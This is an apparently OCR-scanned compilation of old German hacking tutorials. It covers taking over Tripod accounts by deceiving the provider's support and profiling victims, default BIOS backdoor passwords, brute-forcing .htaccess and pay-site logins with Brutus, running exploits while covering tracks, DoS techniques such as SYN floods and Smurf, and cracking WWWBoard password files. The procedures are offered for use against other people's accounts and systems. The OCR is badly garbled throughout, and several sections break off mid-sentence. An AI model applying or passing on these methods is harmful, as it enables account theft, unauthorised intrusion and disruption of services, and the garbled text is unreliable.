Ich begann, die Tripod Help Files durchzul esen... und nach einer Wile traf
es mch! (lch wirde gerne ei ne Dokunentation Uber Tripod schreiben
wol I en... war aber nicht sicher, wie leicht es ist, deren Pages zu hacken!)
Nachdem Du dieses liesst, wirst Du Dir nbglicherweise sagen... "Hey, das
hat wohl nmehr mt "social engineering”" zu tun als mt hacken!" Nun, da hast
Du wohl recht. Teil weise! Denn "social engineering"” spielt eine w chtige
Rol I e bei m Hacken. Al's allererstes nusst Du wi ssen, was Tri pod Uberhaupt
ist. Tripod ist ein Service, der Dir erlaubt, bis zu 2 MB freien

Spei cherpl atz fir Deine ei gene Honepage zu nutzen (so ahnlich wie
geocities, angelfire, usw...). Jetzt mal zumw chtigen Teil... was Du
brauchst: Um ei nen Tri pod- Account zu hacken, brauchst Du eini ge wenige
grundl egende Sachen. Du brauchst natidrlich einen Internet-Zugang, du
brauchst die Email-Addresse, welche Dein Opfer zumregistrieren bei Tripod
benutzt hat. Otnals ist diese auf der Page zu finden. Du brauchst
ausserdem etwas Zeit, etwa ei ne Woche oder zwei. Dann nusst Du den Usernane
herausfinden, das ist ziemich einfach, weil dieser Username ein Teil der
ent sprechenden URL ist. Diese sieht ungeféhr so aus:

ent sprechenden Usernanen ersetzt werden (ha!). Letztendlich braucht nan
dann noch den richtigen Nanen der entsprechenden Person. (oder den Nanen
der Person, die als sol che angegeben wurde). Dies kénnte sehr trichreich
sein, dieses herauszufinden. |st diese nicht auf der Page, dann kénntest
Du die Mtglieder-Profile durchsuchen. Umdies zu tun, nmusst Du nach

Webmast er des entsprechenden Tri pod-Accounts ei ngeben. Dies funktioniert
nur, wenn dieses Mtglied ein eigenes Mtglied-Profil erzeugt hat. Wenn
er/sie keins hat, dann musst Du irgendwel che andere Mttel einsetzen, um

di ese Informati onen zu erl angen. Versuch, an diese Person zu nmailen. Gb
vor, dass Du diese entsprechende Page nmagst und Du gerne nehr erfahren
nbcht est. Erzahl |hnen etwas Uber Dich selber. versuch sie, mt Infos zu
Uber schwermmen. Heuchl e irgendetwas vor und quetsche aus I hnen alle Infos
heraus, die Du erhalten kannst (natirlich, ohne das di ese etwas benerken).
Wenn Du jedoch ein Mtglieder-Profil findest, dann wirst ihren konpletten
Nanen, das Datumihres Beitritts bei Tripod i hren Wohnort, EMail- und
Honepage- Adresse (I st diese nicht vorgegeben, na dann kei ne Sorge, diese
ist ja offensichtlich. Schliesslich kennst Du ja den Mtglieds-Nanen!), und
ei ne kurze Beschrei bung finden. Wenn Du dann d tck hast, wirst Du bzw.
solltest Du alle Informations finden die Du brauchst! Wenn Du trotz allem
wei terhin Probl ene haben solltest, die entsprechenden |Infos zu finden,

dann schau nach, ob Dein Opfer 1CQ hat. Otnals haben di ese ' ne Menge Zeugs
Uber sich sel ber dort stehen. Versuch einfach alles, was Du Dir uberhaupt
erdenken kannst, um diese Infos zu kriegen! ---Und jetzt was?--- |ch Habe
Euch das ganze nicht unsonst nachen | assen. Alles was | hr genacht habt, war
ausserordentlich wichtig. Der erste Schritt zur Ubernahnme des Accounts i st
es, den Account unter Eurer Emmil-Adresse registrieren zu | assen. Du kannst
den Account nit einemdieser freien Email-Serivces bekommen, wi e zum

http: /. hot mail. corh oder viele andere. Umdas ganze recht unauffallig zu
gestalten, solltest Du die neue Enail-Adresse niglichst &ahnlich gestalten
Bei spi el swei se, wenn di e Person die Email-Adresse dumm@rsch. com benut zt,
sollte die neue in etwa fett@otmail.comlauten (...verstehste?). Mt der

neuen Enuil - Adresse schreibst Du jetzt einen Brief an
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menber shi p@ri pod.com Und das ist jetzt, was Tripod sagt, was sie gerne
haben wol | en.

***********************************Zi tat***********************************

"Falls Sie lhre Email - Adresse andern missen, bitte kontaktieren Sie uns be
menber shi p@ri pod.commit |Ihrer neuen Email - Adresse. Bitte setzen Sie | hren
Mtglieds-Nanmen, lhre alte Email -Adresse und Ihren vollen Nanen in die
Nachricht ein."
************************************Ende***********************************
Tut al so exakt, was sie sagen. Sagt, |hr habt eine neue Enuil-Adresse und

| hr wirdet gerne wollen, dass Tripod Eure Eintrage updatet! Es dauert cirka
1 Woche, bis Tripod antwortet und so sieht dann das Antwortschrei ben aus:
***********************************Zi tat***********************************
Sehr geehrter "User",

vi el en Dank, dass Sie uns Uber |hre neue Email-Adresse informert haben

Wr haben Ihre Mtglieder-Informationen upgedatet. Tripod Mtglieds Nane:

m t gl i edsnanme (unveréandert) Neue Emmil - Adresse: mitgliedsnane@reenail.com
Wenn Sie ei ne Honepage bei Tripod haben, missen Sie | hre Homepage updaten
um di e neue Enmmil - Adresse zu nut zen. .
************************************Ende***********************************
Falls Ihr es noch nicht realisiert habt, I hr habt jetzt Kontrolle Uber den
Account (so was in der Art). Alles, was das entsprechende Mtglied von
Tripod bekommt, wird jetzt an Euch gesendet! Das bedeutet, wenn Du eine
Email an lost@ripod.comnit Dei nem bzw deren Mtgliedsnanen in der

Subj ect - Lei ste schickst, dann wirst Du deren Passwort erhalten (stelle
sicher, dass das einzige in der Mail der Mtgliedsnane in der Subject-
Leiste ist. Wenn Du irgendwas Messagehaftes schrei bst, werden die nicht
antworten!!! Vertraut mr, ich habe 3 Wochen gewartet, bis ich das endlich
geschnal It habe (hehe!)! Nun, es jetzt nicht das richtige Passwort, was |hr
jetzt bekommt, ist ein tenpordres Passwort (eins nit einem

Passwort genarator generiertes Passwort =]), aber dieses funktioniert auch!
Wenn Du dann das Passwort hast, hast Du sonit totale Kontrolle Uber den
Account erl angt!

***~Sei kein Idiot~***

I hr misst natirlich verstehen, dass, sobald Tripod Wnd Uber diese

Vor gehenswei se bekonmt, Tripod nbglicherwei se di eses Probl em beseitigen
wird. Um di eses zu verhindern, sei kein Idiot! Gehe also nicht auf 'ne
Hacki ng- Tour und greife gleich sofort eine Rei he von Accounts an. Benutze
di eses nur, wenn Du unbedingt nusst. Je nehr Leute dieses tun, unso

of fensichtlicher wird es den Tripod-Leuten auffallen und unso schneller
werden sie dieses Leck beheben! Es wiare ganz schon "l ane" von Euch, eine
Rei he von Accounts ohne jeglichen Gund zu hacken und das ware fir mch
auch ganz schon atzend (We nein Geocities-Bericht, wirde dieser Text nicht
mehr aktuell sein!) Benutz diesen Text also weise. Bitte Leute!
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2.0 Ei nfuhrung

Ei n wohl jedem bekanntest Beispiel in diesem Zusammenhang durfte der

Ei nsatz ei nes Bl OS-Passwortes sein. BIOS steht fir "basic input/output
systent, was zu deutsch "grundl egendes Ei ngabe-/Ausgabesysteni bedeutet.
Dies ist bei PC konpatiblen Conputern ein Satz von w chtigen

Sof t war er outi nen, die nach dem Start des Conputers einen Hardwar et est

dur chf thren, das Betriebssystem | aden und Routinen fir den Datentransfer
zwi schen den Har dwar ekonmponent en zur Verfigung stellen. Das BI OS befi ndet
sich imROM so dass der Inhalt nach dem Abschal ten des PCs nicht verloren
geht. Dieses ROMwird als CMOS bezei chnet, und wird von ei nem Akku oder

ei ner Knopf-Batterie auch ohne externe Stronrufuhr mt Energie versorgt.

Di e Miglichkeit den Conputer schon vor dem Laden des Betriebssystens durch
di e Abfrage ei nes Passwortes zu schitzen, existiert schon seit vielen
Jahren. Dies wird imBICOS des jeweiligen Conputers eingestellt. Doch viele
Leute wi ssen gar nicht, w e unsicher diese Methode des Schutzes ist, denn
es gi bt verschi edene Methoden, di eses Passwortsystem zu ungehen.

3.0 Der Eintritt ins BICS

Um di e Schut zf unkti on durch ei ne Passwortabfrage zu ungehen, nuss nman
zuerst ins Bl OS konmen. Dies geschieht oft nmittels einer Tastenkomnbination,
wel che ei nem nei st bei m Sel bsttest des Conputers, beimAufstarten, vor dem
Aktiv werden des Url aders, auf demBildschirmmtgeteilt wird. Verschiedene
Mot her boar d- Her st el | er verwenden auch ver schi edene Tast enkonbi nati onen:

3.1 Awar d- Bl OS- Tast enkonbi nati onen
[Entf]

[Strg] +[ Al t] +[ Esc]

[Strgl+[At] +[ §]

3.2 AM - Bl CS- Tast enkonbi nati onen
[Entf]
[F1]

3. 3 Phoeni x- Bl OS- Tast enkonbi nat i onen
[Entf]

[Strg] +[ Al t] +[ Esc]

[Strg]+[AIt] +[ 9]

[F2]

3.4 All genei ne Bl OS- Tast enkonbi nati onen
[Strg] +[ Enter]

[Alt]+] F1]

[Strg]l+[ Al t]+[ Ei nf]

[Alt]+[Enter]

[Alt]+[Strg]+[F1]

[ F10]
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Es kann durchaus auch sein, dass zum Aufrufen des BI OS ei ne spezielle Boot-
Di skette des Herstellers notig ist. Beim Conpaq Deskpro 286e kommt man nur
ins BICS, wenn nan nmit einer SetUp-Diskette bootet. Dasselbe gilt fir den
486C2. Di e dazu nétigen Dateien kann nan sich unter

NEEp: 7/ vww. conpad. cont support/Tiles/index. htnli herunterladen. Desweiteren
kann es sein, dass nman zwar ohne Problene ins BIOS konmt, ei nem jedoch

ni cht standartméssige alle Einstellungen zur Verfigung stehen. Dies kann
wi e beim XPert von Sienens, durchaus der Fall sein. Bei mbesagten Model
gel angt man bei m Booten durch Dricken der Taste [F2] ins BIOS. Undie
erweiterten Funktionen des BICOS einstellen zu kdnnen, nuss nit der

Tast ekonbi nation [Strg] +[ F2] i m Bl OS- Menii das erweiterte Menu aktiviert

wer den. | m Haupt mend erschei nt dann di e Mel dung "Advanced Options”

4.0 Die Passwortsicherheit

Es kann ohne Witeres nun durchaus vorkommen, dass das BI OS nun noch durch
ei ne Passwortabfrage geschitzt ist. Es kann, nuss aber nicht sein, dass das
Passwort fir diese Abfrage mt dem gefragten Bl OS- Passwort bei m Systenstart
Ubereinstinmt. WAs macht man nun aber, wenn ei nem di eses Passwort nicht
bekannt ist? Viele Boardhersteller speichern imBIOS ein Universal passwort
- werden auch Default-Passwdrter genannt-, dass es Benutzern trotz

ver gessenem Passwort ernbglicht in das Bl OGS zu konmen.

4.1 Default-Passworter
fuar AM und Award Bl OCSse 01322222
589589
ALFARQVE
AMI.

AM

AM . KEY
UAM ~
?awar d
Award sw
Awar d
Awar d_sw
Bl OSTAR
Condo
ALLy

Apaf

Ef nukl
Lkwpet er
HLT
HELGA- S

j 263

j 64

J256
J322

SER
SKY_FOX
Syxz
SZYX

Tt pt ha
Wodj

Zj aaade
AWARD SW
AWARD? SW
589721
Awkwar d Bl CS
HEW TT
RAND

AM ?SW
AM Bl CS
PASSWORD
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4.2 Passwort-Entschl Gissel ung

Ei ne weitere Miglichkeit ware, dass Passwbrt fir den Eintritt ins BICS zu
ent schl issel n. Daf ir gi bt es diverse Entschl issel ungsprogranme, die das
Passwort des BI OS herausfinden kénnen. Jedoch ist dafir ein Zugriff auf
Sof t war eebene nétig. Ein Tool nanens BIGS 3.10 ist als Freeware unter

Phoeni x ni cht.

4.3 Loschen des CMOS

Fal I s man physi kal i schen Zugriff auf den Conputer hat, kann nman auch ganz
einfach das BICS resetten bzw. |d8schen. Dazu nmuss nman ei nfach das Gehause
des PCs aufschrauben, und das Akku oder die Batterie fir einige Mnuten bei
ausgeschal tetem PC entfernen. Das Ausl 6ten einer Energiezelle ist nicht zu
enpf ehl en.

4. 3a Léschen des CMOS durch Junper-Settings

Ei ne weitere physikalische Attacke, welche das gleiche Ziel hat, kann das
Urset zen ei nes Junpers auf dem Mt herboard sein. Mt Hi|lfe des Handbuches
des Mot herboards sollte nach einer Steckbricke namens "C ear CMOS' gesucht
werden. Dort gibt es eine Mglichkeit den Junper so zu setzen, dass das
CMOS und sonit auch das Passwort fir das Bl OS gel 6scht wird. Um den
Conput er ohne BI OS-Passwort - Abfrage wi eder zu starten, muss natdrlich der
Junper w eder in seine urspringliche Position gebracht werden. Di e Gefahr
besteht bei dieser Aktion nur darin, dass das BICS bei &l teren Boards die
Festplatte nicht nehr richtig erkennt, was ein Benutzen des Conputers
vereitel n kann.

4.3b Weitere Miglichkeit

Es ist auch bekannt, dass das BI OS-Passwort durch Assenblierung und ein aus
weni gen Zeil en best ehendes Basi c- Programm gel 6scht werden kann. Mr i st

j edoch noch kei ne di eser Mglichkeiten gegliickt, so dass ich mr die
detaillierte N ederschrift spare, umnicht Gefahr zu | aufen, Unwahrheiten
absichtlich zu verbreiten.

HT- Access hacken:

- Auf bau ei nes HT- Access Schut z-

Vorab: Alle Unter-Verzeichnisse des geschitzten, sind auch geschitzt.

Ei n HT- Access Schutz besteht generell aus 2 Dateien:

-der . htaccess

-der . htpasswd

Di ese Dateien sind in dem geschiitzten Verzeichniss. Die .htaccess bew rkt
das:

-di eses "Fenster" aufgerufen wird, das nach Username+Password fragt.
-die . htpasswd aufgerufen wird.

-eventuel |l die Fehlernel dung "error 401: Unauthorized" erscheint. D e

. htpasswd enthalt den/di e Benutzernanen und das/di e verschl isselte(n)
Passwort/ Passwirter. -Usernane via Browser sniffen-

Nun in manchen Fallen (bei alteren Servern bzw A&lterer Server Software)
i st es noglich den Benutzernanmen bzw. die Benutzernamen nit Hilfe des
Browsers zu | esen.

Dazu gi bt man ei nfach die URL des geschit zten Verzei chni sses

(nicht die eines Unterverzeichnisses) ein und schrei bt dahinter

. ht passwd .

In den neisten Fallen sieht man aber nur fol gende Fehl er nel dung:
"error 403: Forbidden!" oder aber "http 404: not found"
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-Username via FTP sniffen-
Ei ni ge Server erlauben Anonynous-Login, warum das ni cht ausnutzen?
Wr | oggen uns nun als Anonynous in einen FTP Server (port 21) und
wechsel n in das entsprechende Verzei chnis.
Nun werden uns 2 Mglichkeiten offenbart:
a) Wr saugen die .htpasswd und haben ei nen User nane,

zu demwir spater noch das Pass "hacken" mifRen.
b) Wr schauen uns gleich den Inhalt des Verzeichnisses mt einemFTP
Proggy an. Ich denke nal, das "b" die bessere Variante ist ;-)

- Passwort hacken-

Nun, jetzt haben wir den Usernane.

Qut und schén, aber wir brauchen noch das Passwort ;-)

Die nei Rten wirden jetzt blitzartig an "Unsecure" denken.

Ich allerdings nicht! Unsecure ist viel zu langsam und fehl erhaft,
doch das ware der Stoff fir ein anderes Tut: Unsecure vs Brutus ;-)
Al so was brauchen wir? BRUTUS Dazu gehen wir erstmal auf

Type: HITP (Basic Auth)

Connections: ca 20-30

Ti meout: ca 35-55

Met hod: HEAD

KeepAl i ve: True

Use Username: True

Single User: True (wenn es nur einen Benutzernanmen gibt)

User File: (den Username aus der .htpasswd Qder, wenn es nehrere sind, dann
al | e Benut zernanmen in einer *.txt untereinaner schreiben, speichern und

di ese Datei auswahl en.)

Pass Mbde: Word List (BruteForce geht auch - dauert aber zu | ange)

Pass File: (auf Browse klicken und eine ziemich grosse Wrdlist auswihl en)
Nun auf Start klicken und abwarten. -Ausnahnme PaySites-

Bei den neisten PaySites wie z.B. Ww.teenfuck.corh kann nan ei ne Ausnahne

-dieses in Brututs als Target angeben (ohne http://)

- Type: HITP (Basic Auth)

- Connections: ca 20-30

-Timeout: ca 35-55

- Met hod: HEAD

- KeepAlive: True

-Use Usernane: True

-Single User: False

User File: (eine nmittlere bis groRe Wirdlist auswahl en)

Pass Mbde: Word Li st

Pass File: (die selbe Wrdlist wie bei User File auswihl en)

Dann auf Start Kklicken.

In (ich schatze nmal) 95% der Falle findet man ei nen oder nehrere Menber-
Account (s) heraus. -Alternative zu HT-Access-

Es gibt eine wirklich gute Alternative zu HT-Access:

-in einem Verzeichniss die Datei index.htm(l) erstellen.

-Diese Datei mit einem Passwortschutz ausstatten, der zu Ei ngabe+".htn(l)"
springt.

-eine datei wie z.B. abcl159xyz753. html erstellen.

-diese HTML Datei enhdlt die "Menber Area", oder was nman auch i mrer
schitzen will. Nun nmuf3 man nur noch darauf achten, das der Server auf dem
di eser Schutz liegt kein

Anonynous FTP Login erlaubt. Durch die Index.htn(l) kann nan kein Directory
Li sting erhalten.

Es gi bt (neines Wssens nach) keinen BruteForce/Dictionary Cracker der eine
sol che Schut zrmet hode schafft. Nichts ist 100% g sicher, aber diese Variante
komt dem doch recht nahe.
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Beschrei bung was Exploitz sind und wi e nan sie anwendet:

Was sind Exploits?

I ns deutsche Ubersetzt, heisst "exploit" soviel w e ausnutzen oder
ausbeut en. Di e hack-techni sche Bedeutung bezi eht sich auf das Ausnutzen von
Schwachst el | en ei nes spezifischen Programms. | n der Regel bezeichnet ein
Exploit nur ein Programm dass einen Fehler der verwendeten Software auf

ei nem Server ausnutzt, um unberechtigt Zugang auf di esem System zu

er | angen.

W e funktioni eren Exploits?

Es sind schon viele verschi edene Verfahrensweisen nétig, umdie
Schwachstel | en ei nes Systens ausfindig zu machen und ent sprechend zu
verwerten. Zudem versuchen Adm nistratoren i hr nbglichstes sel bst die
Schwachstell en 1 hres Netzwerkes und der darauf |aufenden Software

auf zuspiren und durch entsprechende Einstellungen und Patches diese

Si cher hei tsl 6cher zu stopfen. Es wird i nmer eine theoretische Miglichkeit
geben, ein Progranm zu nicht vorgesehene Aktionen zu bewegen. Bisher wird
di es auch durch fast endl ose Anzahl an Exploits, die auf diversen Sites fir
jedes Betriebssystemerhdltlich sind unterstiatzt. I m Beispiel des Unix-
Betri ebssyst ens, kodnnen Programme bestimte Prozesse nur verarbeiten, wenn
di ese unter Root-Rechten (U D 0) laufen. Deswegen verfahrt nman in vielen
Fal | en so, dass entsprechende Programm das nit Root-Rechten | duft zu
"crashen", um sel bst an seiner Stelle die Root-Privilegien entgegen zu
nehmen. Die neisten Exploits basieren auf dem Buffer Overflow Das bedeutet
Puf f er Uber | auf, das Exploit startet neistens ein Progranm Ubergibt di esem
Daten di e das Programm nicht richtig verarbeiten kann und schrei bt darauf
hi n ei nen neuen Code in den Arbeitsspeicher. Dieser neue Code ruft dabe

nmei stens eine Shell mt den Benutzerrechten des Programms auf. Arten von
Exploits Es gibt 2 Arten von exploits: 1. Local -Exploits: Das bedeutet das
man schon ei nen Account auf di esem Rechner haben nuss und dann dort den
Exploit ausfihrt. 2. Renote-Exploits Mt dieser Sorte bekomm man von

sei nem ei genen Rechner Zugriff auf den anderen ohne ei nen Account auf auf
dem Zi el rechner zu haben

W e konmen Exploits zum Ei nsatz?

Das Programm wi rd ausgef dhrt und versucht das Ziel selbststéandig

anzugrei fen, indem Sicherheitsl icken ausgenutzt werden. Da vorzugswei se
Exploits in der Programmsprache C vorliegen, nuss zuvor noch der zugrunde

I i egende Quel |l code kompiliert werden, um daraus ein |auffahiges Progranm zu
machen. Je nach angewandter Verfahrensweise, wird ein Exploit direkt auf
dem Zi el rechner zur Anwendung gebracht, oder man benutzt ei nen anderen
frenden Rechner, der den Angriff auf den Zielrechner durchfihrt. In der
Regel wird ein frender, schlecht gesicherter Rechner fir einen Hack-Angriff
verwendet, da hier Erfol gswahrscheinlichkeit grésser ist, seine Spuren so
zu verwi schen, dass man nicht nehr zurickverfol gt (traced) werden kann

Und wie konpiliert man ein Exploit? Da die neisten Exploits fidr *nix
Systene sind, werden sie auch unter *nix in C geschrieben. Also umein
Exploit zu konpilieren gibt in eurer *nix Shell: "gcc -o nanme quell code. c"
oder alternativ "cc -o nane quellcode.c" gcc -> das ist der Gau-C- Conpil er
cc ist der "normale"; -o -> ist eine Conpileroption; nane -> der gewlinschte
Programmane. Nach dem Konpilieren niissen wir das Progranmm nur noch
ausfihren also in die Shell eintippen: "./nanme" und das Programm wird
ausgefihrt. Ot steht im Quelltext eine Anleitung und di e entsprechenden
Par anmet er di e man benutzen sollte. Al so unbedingt reinschauen und auch
versuchen zu verstehen (nmanche Programn erer bauen sogar Fehler ein danit
Uner fahrene sie nicht ausfihren kénnen). Al so C Kenntni sse kdnnten nicht
schaden. Viele Exploits sind Versionsbezogen d.h. man sollte wi ssen wel ches
CS lauft gibt es verschi edene Miglichkeiten: 1. Man verbindet sich Uber
Telnet mit dem Server (falls Telnet l&uft), man wartet auf den Login und
liest die obere Zeile ab, da steht es neistens, einige Adnins unterdricken
di ese Zeile aber das man nicht sehen kann wel ches CS | auft. 2. Wenn der
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Port 21 (ftp) offen ist, verbindet man sich mt diesemund |iest w eder
diese Zeilen ab. 3. Unter z.B. Linux gibt es einen Scanner nanmens "nmap",

di eser Scanner ist ziemich beliebt und hat auch viele Funktionen. Mt nnmap
kann man auch feststellen wel ches OGS auf dem Server |&auft und nan erféhrt
auch noch die offenen Ports. Diese ganzen |nfornmati onen nuss nan haben um
evt|l. Bugs auszunutzen. Zu enpfehlen ist vor allemein Conputer nit einem
installierten Linux. W finde ich Exploits?

e e e e e e e

e e e e e e e e e e e R e e e e

DoS- Attacken (Deni al of Service):

1. Einleitung

Di eser Text soll eine kleine Zussanmenfassung der bekanntesten und

bel i ebt esten DoS- Attacken sein. Diesen FAQ schrei be ich hauptsachlich aus
einem G und: Die neisten Leute, die "Hacker" werden wollen, sind irgendwann
i m sogenannten "Script-Kiddie" Stadium*g*. Klar, es ist ja auch verl ockend
sich schnell ein paar Tools runterzul aden und zu nuken was das Zeug halt
und dann danit zu prahlen. Doch die neisten verstehen ja nicht mal wie

di ese, neist recht sinplen Aktion, funktionieren. Das will ich hier,

weni gstens zum Teil, &andern.

2. Was sind DoS-Attacken?

Ei ni ge werden jetzt vielleicht denken: "DOS, hat das nicht was nit

M crosoft zu tun oder so?". Nein, "DoS" steht fir "Denial of Service".

Di ese Attacken haben zu 99% den Sinn ei nen anderen Rechner im Netzwerk oder
I nternet betriebsunféahig zu nachen. Das heisst, zum Beispiel einen Server
so zu attackieren, dass er am Schl uss kei ne Verbi ndungsanfragen nehr
bearbei ten und beantworten kann. Lange Rede, kurzer Sinn, es sind
destruktive Aktionen.

3. Di e bekanntesten Arten

Hi er werde ich nun alle verschi edenen Attacken der Rei he nach aufzdahl en,
die ich kenne. Ich werde jeweils die Art und Wrkung des Angriffs
beschreiben. Die Wrkung ist allerdings zu 90%gleich --> Crash ;)

3.1 Land

Di e Land-Attacke ist wohl eine der Neusten, die imlInternet zu finden sind.
Das Problem bei dieser Attacke ist, dass sie eigentlich bei fast allen
bekannten Betriebssystenen funktioniert und nicht, wie zum Bei spi el der
OOB- Nuke, nur bei W ndows.

Es wird ein "SYN-Paket" (= "Ich will eine Verbindung mit dir"-Paket) nmit

gl ei chem Absender- und Enpfangerport erstellt und an einen offenen Port des
Zi el rechners geschickt. Dies kann das System | ahm egen.

3.2 Smurf-Angriff

Di ese Attacke heisst deswegen so, weil sie durch das Programm "Snurf" erst
so richtig bekannt wurde. Ich fihre einen Ping auf eine Broacastadresse nit
nmogl i chst vielen Hosts aus. Mache ich nun 1 Ping an ei ne Broadcast adresse
mt 100 Hosts, dann bekomme ich natirlich 100 Antworten. Das heisst fir 100
Pi ngs bekomme ich 10000 Antworten. Jetzt muss ich nur noch die

Absender adresse féal schen, und zwar setze ich die Adresse des "Opfers" ein.
Nun fihre ich soviele Pings aus, wie ich nur kann und durch die extrem

viel en Antworten crasht der PC des Opfers.
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3.3 OB-Angriff

Den werden die neisten von euch schon kennen. Dafir gibt es nun wirklich

vi el e verschi edene Programre, weil er (erschreckend) sinpel ist. Das ganze
hangt mit der M crosoft Netbios-Inplenmentierung unter Wndows 95 zusammen.
Wenn man an den Port 139 ein paar unsinnige Zei chen oder Daten schi ckt,
dann fihrt das schon zu einem "Bl ue screen of death". Allerdings ist diese
Met hode vom Ausst erben bedroht, weil es doch nicht nmehr so viele Wndows 95
User gibt. (Wndows 98 ist dagegen geschitzt)

3.4 Pi ng-Fl ood

Noch ei ne sehr einfach Methode, die aber unter Unstanden auch sehr effektiv
sein kann. Ich fiuhre einfach soviele Pings in einer sehr kurzen Zeit we
nmogli ch auf ein bestimmtes Ziel aus. Das Ziel versucht natidrlich alle zu
beantworten und zu verarbeiten, was zu ei nem extrenmen Performancever| ust
und Crash fuhren kann. Am besten funktioniert das, wenn man ei ne

St andl ei tung hat (zum Bei spi el Uber die Uni) und nicht nur eine | SDN-

| eitung oder so. Dann bekommt man echt fast jeden Mddenuser aus dem Net z,
wenn er nicht geschitzt ist. ;)

3.5 SYNFl ood
Zuerst eine kurze Information. Eine TCP-Connection zw schen 2 Systenen
kommt durch den sog. "three-way-handshake" zustande: 1) SystemA --->

System B : SYN ("lch will eine Verbindung nmt dir") 2) SystemB --->
System A : ACK/ SYN (", ich habe das zu Kenntnis genommen") 3) System A --
-> System B : ACK ("Ck, ich bin auch einverstanden") Nun fal sche ich

ei nfach bei ei nem SYN-Paket di e Absenderadresse (eine, die es nicht gibt)
und somit kommt dann auf das System B- Paket (ACK/ SYN) keine Antwort mehr
(ACK), da es die Adresse ja nicht gibt. Das System B wartet aber noch
einige Zeit auf eine Antwort bevor das "connection tineout" komm. In

di eser Zeit nuss nan das System B nit sovi el en SYN-Paketen w e niglich

fl ooden. Das hat die Folge, dass das System B so ausgel astet wird, dass es
nach einiger Zeit gar keine SYN s mehr beantworten kann und somt auch

kei ne richtigen Anfragen.

3.6 Ping of Death (Large Paket Ping)

W eder eine kurze Information vorweg. |P-Pakete dirfen mt Header nicht
grosser als 65.535 Bytes sein. Grdssere Daten werden in sogenannte
Fragnente zerstickelt und dann spéater auf dem Zielsystem nit Hilfe eines
O fset-Werts, wi eder zusanmengefigt. Nun kénnte nan bei dem | etzten
Fragnent den O fset-Wert so gross/lang nachen, dass das Maxi num von 65. 535
Byt es Uberschritten wird. Dies fihrt dann zu ei nem Puffertberl auf auf dem
Zi el system und das hdchstwahr scheindlich zu ei nem Crash. 4. Zusanmenfassung
Al's ich herausfand, w e die verschi edenen DoS- Attacken funktionieren dachte
ich mr: "Auf die Idee hatte ich auch sel ber komren kénnen". Das soll jetzt
ni cht hochnassi g klingen, aber ich denke, dass es den neisten so geht. Das
zei gt, dass di ese Met hoden nei stens keine techni schen Mei sterl ei stungen
sind. Und genau deswegen nutzen sie auch soviele. Daher sollte man sich
unbedi ngt, soweit noglich, gegen diese sinplen Tricks schitzen.
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VWNY\Boar d hacken:

Ein wwhboard ist ein Platz imNetz, wo Leute irgendwel che Kacke di skutieren
kénnen. .. Du kannst di e Ergebni sse von dem was sie Schreiben in ei nem HTM.
Dokurrent sehen. Wenn Du solch ein nettes wwboard sehen willst, dann gehe
nach yahoo.com oder zu anderen Suchmaschi nen und suche nach dem Wort:
wwwboard (ei nfach oder???). In den neisten Fallen heisst die wwboard Date
wwwboar d. ht M oder wwwboar d. ht m

W ist das verdammte Passwort von dem di e ganze Welt spricht??? Nahezu
inmer ist die Passwort-Datei in densel ben Verzeichniss, wo sich auch die
wwboard. ht i Datei befindet. Benutz einfach Dei nen Browser und &andere

dann versuch es mit passwd.txt oder nur passwd.

Lass uns nmal diese nette Datei betrachten: rstrehle: aef gBf brel 8e6

\ /N1 I\ /

username verschl isseltes Passwort Du siehst? Zuerst der Usernane und dann
nach dem Doppel punkt das verschl Usselte Passwort Jetzt beginnt die Arbeit.
Suche im Netz nach ei nem Uni x- Passwort - Cracker wi e Jack oder John oder
KC... Such nach einer Wrtliste (Nimmeine Gosse!) Schreibe die
password. txt Datei so, das sie ausschaut wi e eine UN X- Passwort - DATEI !

Di ese Datei nannte sich password.txt rstrehle:aefgBfbrel8e6 wird zu einer
UNI X Datei nmit dem Nanen passwd. rstrehle: aefgBfbrel 8e6: 150: 25: Sven
Pinzel: /usr/emil/users/spinzel:/bin/csh SCHREI BE DIES IN EI NE ZEI LE !!

I ch denk mal, das auf einigen Crackern, (John denk ich nal)

Du die Datei nicht zu editieren brauchst..! Starte den CRACKER !

Du hast das password?! 21?21?12 OK... ...zurick ins Netz... umdas Passwort
zu nut zen, nusst Du das Admi n-Programm fi nden, wel ches Ublicherwei se
imCd-BIN Verzei chni ss gespeichert ist. Es nennt sich wwwadm n. pl oder
wwwadmi n. cgi

BTW

Wenn Du Dein crack progranmtesten willst dann kreiere eine Datei nit dem
User namen dem Passwort. Wenn du dass Passwort "benito" bekomst, dann bi st
Du auf demrichtigen Wg.

Javascri pt Passwort Schutz System

Ich hab mir gedacht ich schreib mal ein etwas ausfihrlicheres tut Uber
Javascript Passwort Schutz System (Scheiss Wrt). Ich weiss die neisten
Sei ten benutzen sowi eso kei nen JPSS nehr

aber manchmal kann das ganz nutzlich sein sol che Systene zu kennen. Auf

vi el en Hacker seiten gi bt es auch Sicherheitsbereiche wo i hr die Sachen
auspr obi eren koénnt.

Auf der Seite von Nova Beast zum Bleistift(Ww. nova-beast. de.sti). wenn ihr
dort die erste Sicherheitsstufe hackt komm ihr auf eine seite wo ihr Fake
mai | s verschi cken kénnt. So sieht der standart Text aus den man fast
Passwort schut z auf Webseiten JavaScri pt- Systeml

Wenn sie eine beliebige Seite 6ffnen ndchten, dann kommt bei di esem Schutz
ein Fenster nit einem Textfeld fur das Passwort. Dieser Schutz ist sehr

| ei cht zu knacken i ndem man sich einfach den Quel |l code anschaut und sieht
dort etwas in dieser Art: <script> function jprot () {

pass=pronmpt ("G b dein Passwort ein","password");

if (pass == "Dieter") {

docunent. | ocation. href="http.server.de/index. htm";
}

el se {
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alert ( "Passwort falsch !'!" );

}

} </script> Also wo ist das Passwort? Menschen die sich etwas nit

I nformati k auskennen wi ssen es bestimt schon und zwar in dem|f Befehl
also in diesemfalle Dieter und wenn sie nun die Seite noch einmal aufrufen
geben sie Dieter ein und sie sind drin. Die Quak benutzt heutzutage |eider
nur kein Mensch nmehr. Der bei Novabeast sieht so ahnlich aus und wer nicht
blind ist findet ihn auch dazu gehért nicht viel. In manchen sol cher
Passwort abfragen steht zum Bl eistift das die Ziel adresse gleich dem
Passwort ist hierbei kann nan jetzt versuchen die entsprechnde datei auf
dem Server zu finden z.B. bei Tripod kann nman ber index.htm (neine ich)
sich alle Dateien auflisten | assen die auf dem Server sind. Interressanter
ist es da schon Der 2 Typ hierbei wird das PWund die Ziel-Adresse in einer
anderen Datei gespeichert und ist sonit nicht aus dem Quel | code der Abfrage
auszul esen. Zusatzlich wird das Abfragefenster als Einzel fenster gedffnet,
was al |l erdi ngs

in der Regel kein Problemdarstellt. Eine Abfrage kénnte w e folgt

